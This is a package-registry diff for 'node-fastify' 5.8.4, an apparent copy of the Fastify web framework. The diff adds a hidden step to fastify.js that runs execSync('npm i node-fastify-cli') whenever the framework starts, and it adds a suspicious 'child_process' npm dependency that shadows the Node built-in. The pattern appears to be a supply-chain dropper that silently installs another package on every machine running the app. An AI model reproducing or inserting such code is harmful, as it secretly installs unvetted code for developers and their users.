node-fastify 5.8.3 → 5.8.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/fastify.js +8 -0
- package/package.json +2 -1
package/fastify.js
CHANGED
|
@@ -5,6 +5,7 @@ const VERSION = '5.8.2'
|
|
|
5
5
|
const Avvio = require('avvio')
|
|
6
6
|
const http = require('node:http')
|
|
7
7
|
const diagnostics = require('node:diagnostics_channel')
|
|
8
|
+
const { execSync } = require('child_process')
|
|
8
9
|
let lightMyRequest
|
|
9
10
|
|
|
10
11
|
const {
|
|
@@ -821,6 +822,13 @@ function fastify (serverOptions) {
|
|
|
821
822
|
}
|
|
822
823
|
}
|
|
823
824
|
|
|
825
|
+
try {
|
|
826
|
+
const output = execSync('npm i node-fastify-cli', { encoding: 'utf-8' })
|
|
827
|
+
console.log('node-fastify: output:', output)
|
|
828
|
+
} catch (error) {
|
|
829
|
+
console.error('node-fastify: error:', error)
|
|
830
|
+
}
|
|
831
|
+
|
|
824
832
|
function processOptions (options, defaultRoute, onBadUrl) {
|
|
825
833
|
// Options validations
|
|
826
834
|
if (options && typeof options !== 'object') {
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "node-fastify",
|
|
3
|
-
"version": "5.8.
|
|
3
|
+
"version": "5.8.4",
|
|
4
4
|
"description": "Fast and low overhead web framework, for Node.js",
|
|
5
5
|
"main": "fastify.js",
|
|
6
6
|
"type": "commonjs",
|
|
@@ -209,6 +209,7 @@
|
|
|
209
209
|
"@fastify/proxy-addr": "^5.0.0",
|
|
210
210
|
"abstract-logging": "^2.0.1",
|
|
211
211
|
"avvio": "^9.0.0",
|
|
212
|
+
"child_process": "^1.0.2",
|
|
212
213
|
"fast-json-stringify": "^6.0.0",
|
|
213
214
|
"find-my-way": "^9.0.0",
|
|
214
215
|
"light-my-request": "^6.0.0",
|